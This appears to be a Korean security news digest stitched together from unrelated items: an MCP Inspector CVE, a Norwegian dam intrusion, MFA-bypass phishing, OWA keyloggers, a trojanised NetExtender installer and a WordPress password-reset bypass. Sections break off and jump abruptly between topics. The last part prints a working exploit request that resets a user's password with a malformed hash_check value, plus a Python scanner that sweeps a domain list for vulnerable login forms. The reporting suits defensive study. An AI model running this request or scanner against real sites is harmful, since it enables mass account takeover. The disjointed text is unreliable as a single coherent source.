MCP 서버 테스트 및 디버깅을 위한 대화형 인터페이스를 제공하는 React 기반 웹 UI
MCP Proxy (MCPP)
다양한 전송 방식을 통해 웹 UI를 MCP 서버에 연결하는 프로토콜 브리지 역할을 하는 Node.js 서버
2. CVE-2025-49596
[사진 1] CVE-2025-49596
- MCP Inspector의 MCPP에서 발생하는 인증 부족으로 인한 원격 코드 실행 취약점 (CVSS: 9.4) [3][4]
영향받는 버전 - MCP Inspector 버전 : 0.14.1 미만 버
- 해당 도구의 기본 설정에서 인증 및 암호화와 같은 보안 조치를 포함하지 않음 > 0.0.0.0 Day와 CSRF를 결합한 공격이 가능
0.0.0.0 Day [5] - 0.0.0.0은 모든 네트워크 주소를 의미 - 서버나 애플리케이션이 모든 IP 주소(0.0.0.0)에 바인딩 되어, 외부에서 접근이 가능해짐 - 크롬, 파이어폭스, 애플 사파리 등 주요 브라우저의 보안 프로토콜을 우회하는데 활용될 수 있음
- 노르웨이 댐을 해킹되어 4시간 동안 수문이 완전 개방되는 보안 사고가 발생 - 핵심 인프라에 대한 사이버 보안의 중요성을 잘 보여준 사고라는 평가
내용
- 25.04 노르웨이 라이세바트넷 댐이 해커의 공격을 받아 수문이 완전히 개방되는 심각한 보안 사고가 발생 > 핵심 인프라에 대한 사이버 보안의 중요성을 잘 보여준다는 평가
- 해커들은 무려 4시간 동안 시스템 장악 > 그러나, 댐 운영사와 당국은 이를 실시간으로 탐지하지 못하고, 4월 7일 이상 징후 포착 > 노르웨이 국가안보국과 수자원에너지청, 경찰청 산하 범죄수사국은 10일에야 공식 통보를 받고 조사에 착수
- 해커들은 허술한 비밀번호가 걸린 웹 기반 제어판에 접근해 최소 유량 밸브를 100% 개방하는 데 성공 > 이로 인해 초당 497리터의 물이 추가 방류됐으나, 댐의 최대 방류 용량이 초당 2만리터에 달해 재난으로 이어지지 않음 > 하지만 제때 대응이 이뤄지지 않았다면 홍수, 기반시설 손상, 인근 지역사회 위협 등 심각한 2차 피해를 야기할 수 있었음
- 정확한 해킹 방법은 아직 밝혀지지 않음 > 쉽게 유추할 수 있는 비밀번호 설정과 같은 기본적 보안 수칙 위반이 이유로 지목 > 사이버보안의 기본이 무너질 때 국가 기반시설이 얼마나 쉽게 위협받을 수 있는 지를 보여줌
- 노르웨이 정부 및 에너지 업계 > 이번 사건을 계기로 소프트웨어 업그레이드, 접근 통제 강화, 보안 감사 주기 단축 등 전면적인 보안 점검에 착수
- 댐 운영사 브레이비카 에이엔돔의 기술 책임자 비아르테 스테인호브덴 > 약한 인증 정보로 인해 공격자의 접근을 허용했을 가능성이 높음 > 기본적 보안수칙 준수의 중요성을 다시 한 번 실감
- 산업 제어 시스템 보안 전문가 그랜트 가이어 > 이번 사건은 고도화된 공격이 아니라, 단순히 보안이 허술한 시스템에 누군가가 로그인해 밸브를 연 사례 > 물, 전기, 난방 등 필수 인프라 시스템도 집 현관문을 잠그듯 기본 보안이 필요
기타
- 세계적으로 디지털 자동화와 원격 운영이 늘어남 > 물리적 안전만 강조하던 전통적 인프라 관리에서 벗어나 디지털 방어 체계를 동등한 국가 안보 요소로 인식해야 함 > 피해 예방을 위해 정기적 시스템 점검과 직원 교육, 위협 정보 공유가 필요하다는 지적
- 기업이 MFA, 패스워드리스 인증을 도입함에 따라 공격자는 이를 우회할 새로운 피싱 기법을 개발 - 사회공학 공격으로 클라우드 계정의 세션 토큰과 권한을 가로채는 데 맞춰져있음
내용
- MS 위협 인텔리전스 팀 > 기업이 MFA, 패스워드리스 인증을 도입함에 따라 공격자는 이를 우회할 새로운 피싱 기법을 개발하고 있음을 발표 > 클라우드 계정의 세션 토큰과 권한을 가로채는 것이 목표
① Adversary-in-the-Middle(AiTM) 피싱 급증 > 사용자의 브라우저와 로그인 페이지 사이에 프록시를 세워 자격 증명과 MFA 토큰을 동시에 탈취 > 처음에는 작동하지 않는 QR 코드를 보내 피해자에게 연락을 유도한 뒤, 후속 메일에서 정식 WhatsApp 기기 연결용 QR 코드를 제시해 계정 접속 권한 획득 > 세션 쿠키를 훔친 뒤에는 내부 네트워크에서 추가 계정을 노림
② 기기 코드(Device Code) 피싱, 새로운 위협으로 부상 > 피싱 이메일로 6자리 기기 코드를 입력하게 유도 > 사용자가 정상적인 마이크로소프트 인증 페이지에 코드를 입력하면, 공격자는 OAuth 토큰을 손쉽게 획득해 MFA를 무력
③ OAuth 동의(Consent) 피싱 확산 > ‘파일 공유 앱’으로 위장한 미검증 애플리케이션 동의 링크를 보내, 사용자가 ‘취소’를 눌러도 다시 AiTM 페이지로 리다이렉션해 두 번째 공격 시도
④ 디바이스 조인(Device Join) 피싱 > 클릭 한 번으로 공격자 소유 장치를 조직 테넌트에 등록하도록 속임 > 공격자는 합법적 인증서를 이용해 장기간 머무를 수 있음
- 공격 벡터는 이메일, 마이크로소프트 Teams 회의 초대, 전화 등 다양 > 침해 후 단계에서도 피싱은 계속됨
- 방어 전략 ① 패스키 및 조건부 액세스 > 패스키·FIDO2 토큰 도입 > 로그인 위험 신호(이상 IP·디바이스 상태)를 평가하는 조건부 액세스로 세션 탈취 차단
② 동의·디바이스 등록 제한 > 미검증 앱의 고위험 OAuth 권한 요청과 비인가 디바이스 등록 차단 또는 추가 인증 요구
③ 협업 채널 보호 > Teams 외부 메시지 차단, 내부 메일까지 적용되는 Safe Links, QR 코드 검사 정책 활성화
④ 사용자 훈련 > 실전형 피싱 시뮬레이션과 교육으로 직원 경각심 증대 > AI로 다듬어진 문법 오류 없는 이메일도 경계
⑤ 제로 트러스트 모델 > 장기적으로 유일한 해법
- 패스키를 적용하기 어려운 환경 > 관리자 계정에 하드웨어 FIDO2(파이도2) 토큰을 우선 배포하고, 불필요한 지역 접속과 외부 이메일 도메인 차단 > 작동 여부가 불분명한 QR코드, 6자리 코드를 입력하라는 요청, 예고 없는 외부 팀즈 채팅은 모두 경계 신호로 간주
[MITRE 설명] Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems. IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., Compromise Software Dependencies and Development Tools) or side-loaded directly into the IDE.
- 전 세계 26개국, 최소 70여 개의 온프레미스 Microsoft Exchange 서버가 정체불명의 공격자에 의해 침해 - 아웃룩 웹 액세스(OWA)의 로그인 페이지에 자바스크립트 기반 키로거를 삽입해 정보 탈취
내용
- 러시아 보안 기업 Positive Technologies > 해당 공격 캠페인은 24.05 최초 발견 이후 지금까지도 지속 (최초 침해 시점은 21년) > 베트남, 러시아, 대만, 중국, 파키스탄 등 국가 및 정부 기관, IT, 산업, 물류 분야 기업 등 침해
① 두 가지 방식의 키로거, 로그인 정보 수집이 목적 > OWA 로그인 페이지의 정상 스크립트 ‘clkLgn’ 핸들러 내부에 삽입된 두 가지 악성 자바스크립트 코드 발견 > 로컬 저장형 키로거 ⒜ 사용자명, 비밀번호, 쿠키, User-Agent, 타임스탬프를 수집해 Exchange 서버 내부의 텍스트 파일에 저장 ⒝ 외부 네트워크로의 트래픽이 없기 때문에 탐지 가능성이 매우 낮음 > 원격 전송형 키로거 ⒜ 수집된 로그인 정보를 실시간으로 외부로 전송 ⒝ Telegram Bot이나 HTTPS POST 요청, DNS 터널링 기법을 활용해 정보 수집 ⒞ 로그인 정보는 APIKey 및 AuthToken 헤더에 인코딩되어 전송
② 패치가 완료된 구형 취약점들 여전히 공격에 사용 > ProxyLogon 시리즈 (CVE-2021-26855, 26857, 26858, 27065) > ProxyShell 시리즈 (CVE-2021-34473, 34523, 31207) > Exchange RCE 취약점 (CVE-2021-31206) > SMBGhost (CVE-2020-0796) > IIS 보안 우회 취약점 (CVE-2014-4078) > 일부 취약점은 패치가 제공되었으나 여전히 수많은 서버가 해당 취약점에 노출되어 방치
> 조직 내 서버에 침투한 뒤, 인증 페이지에 악성 코드를 삽입함으로써 수개월 동안 탐지되지 않고 사용자 정보를 수집 > 공격을 탐지하기 위한 YARA 룰과 수정된 파일 경로 정보를 함께 공개
- 전문가들 > 즉시 패치 적용 : 익스체인지 서버를 최신 누적 업데이트 상태로 유지하고, IIS 및 윈도우 서버 보안 패치도 반드시 반영 > 무결성 점검 : OWA 관련 *.aspx 파일과 스크립트 파일 전체를 기준 파일과 비교해 <script> 삽입 여부 확인 > 네트워크 분리 및 MFA 적용 : Exchange 서버의 외부 노출을 최소화하고, VPN이나 리버스 프록시를 통해 접근을 제한하며, 모든 OWA 계정에 다중인증(MFA)을 적용 > WAF 및 EDR 도입 : 웹 애플리케이션 방화벽(WAF)을 통해 스크립트 이상 행위를 감지하고, 엔드포인트 탐지 및 대응(EDR) 솔루션을 통해 서버 내 의심스러운 파일 생성 행위를 모니터링
기타
- 지속적인 취약점 관리 체계를 마련하는 것이 중요하다고 강조 > 인증 페이지에 발생한 사소한 변경 사항이라도 반드시 포렌식 조사를 통해 확인 > 가능하다면 인증 시스템을 마이크로소프트의 클라우드 기반 Exchange Online으로 이전 > 보안 게이트웨이 뒤에 위치시키는 등의 근본적인 접근 방식 변경이 필요 > 운영 중인 온프레미스 서버를 방치한 채 방어체계를 강화했다고 착각하는 일이 없어야 한다고 경고
- VPN 클라이언트 NetExtender 최신 버전을 사칭한 악성 설치 파일 유포 사실 24일 공개 - 정식 프로그램과 동일한 버전 번호를 내세워 사용자를 속이고, 정보를 탈취
내용
- NetExtender 최신 버전을 사칭한 악성 설치 파일 > 소닉월이 아닌 ‘CITYLIGHT MEDIA PRIVATE LIMITED’ 명의의 코드 서명을 사용해 기본 신뢰 검사 회피 > 설치 패키지 내부의 NeService.exe는 인증서 검증 로직이 제거돼 모든 파일을 무조건 신뢰하도록 패치 > NetExtender.exe에는 접속 버튼 클릭 시 입력된 사용자 이름, 비밀번호, 도메인, 서버 주소 등을 132.196.198[.]163:8080으로 데이터 탈취 > 검색엔진 최적화(SEO) 조작, 악성 광고(말버타이징), 소셜미디어 게시물 등을 통해 공식 사이트와 유사한 피싱 페이지로 사용자를 유도
- 소닉월 보안 솔루션과 마이크로소프트 디펜더는 해당 설치 파일을 탐지·차단 > 일부 보안 제품에서는 여전히 탐지되지 않을 가능성이 있다고 경고 > 소프트웨어는 반드시 sonicwall[.]com 또는 mysonicwall[.]com에서만 다운로드 > 홍보 링크나 추천 검색 결과는 무시 > 설치 전 코드 서명에 ‘SonicWall Inc.’가 정확히 표시되는지 확인 > 다운로드 파일을 최신 백신으로 검사할 것을 권고
- 전문가들 > 복잡한 제로데이 공격이 아니더라도 신뢰할 만한 서명을 악용해 사용자 행위를 노리는 전형적 수법 > 잘못된 링크를 클릭한다는 가정하에 사후 탐지와 네트워크 격리 체계를 강화 > 신뢰받는 설치 파일이라도 단 한 줄이 조작되면 전체 보안 체계가 무너질 수 있음 > 사용자의 다운로드 습관 개선과 조직 차원의 다계층 방어 전략이 유사한 공격을 차단하는 유일한 해법
- 공격자는 조작된 hash_check 값을 전달함으로써 사용자 검증을 우회하고 비밀번호를 임의로 재설정할 수 있음
① 공격자는 조작된 hash_check 값 (잘못된 UTF-8문자 : %C0, %80 등) 전달
> Login Register 위젯에서의 검사를 통과하여 password-recovery.php 템플릿 접근
② 조작된 hash_check 값은 esc_attr()로 잘못 필터링 되어 제거됨
> 필터링 된 값은 $user_hash_check 저장
③ $user_hash_check 값과 $user_hash 값을 비교
> 두 값의 !== 연산 결과 false가 되어 if문 통과
④ stm_new_password 매개변수로 전달한 값으로 비밀번호 재설정
> 접근 권한을 얻은 후 관리자로 로그인 및 지속성을 위해 새로운 관리자 계정 생성
POST /index.php/login-register/?user_id=3&hash_check=%80 HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded stm_new_password=Testtest123%21%40%23
3. PoC
- 취약점 스캔 PoC [4]
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading
lock = threading.Lock()
with open("list.txt") as f:
domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]
login_paths = [
"/login",
"/loginregister",
"/login-register",
"/my-account",
"/account",
"/signin",
"/sign-in",
"/register",
"/auth",
"/user/login",
"/user/signin",
"/forgot-password",
"/reset-password"
]
def check_login_form(full_url):
try:
res = requests.get(full_url, timeout=10, verify=False)
if res.status_code == 200 and "stm-login-form" in res.text:
return True
except:
pass
return False
def process_domain(domain):
checked = set()
base_url = f"https://{domain}"
try:
r = requests.get(base_url, timeout=10, verify=False)
if r.status_code != 200:
return
soup = BeautifulSoup(r.text, "html.parser")
if "stm-login-form" in r.text:
print(f"[✅] {domain} → found at homepage")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
return
hrefs = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
full_href = urljoin(base_url, href)
hrefs.add(full_href)
for path in login_paths:
hrefs.add(urljoin(base_url, path))
for link in hrefs:
normalized = urlparse(link)._replace(query="", fragment="").geturl()
if normalized in checked:
continue
checked.add(normalized)
if check_login_form(normalized):
print(f"[✅] {domain} → found at {normalized}")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
break
except Exception as e:
print(f"[⚠️] {domain} → error: {e}")
print(f"[🚀] ready to check {len(domains)} domain...")
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(process_domain, domains)
print(f"[✔️] Done. all valid result at result.txt")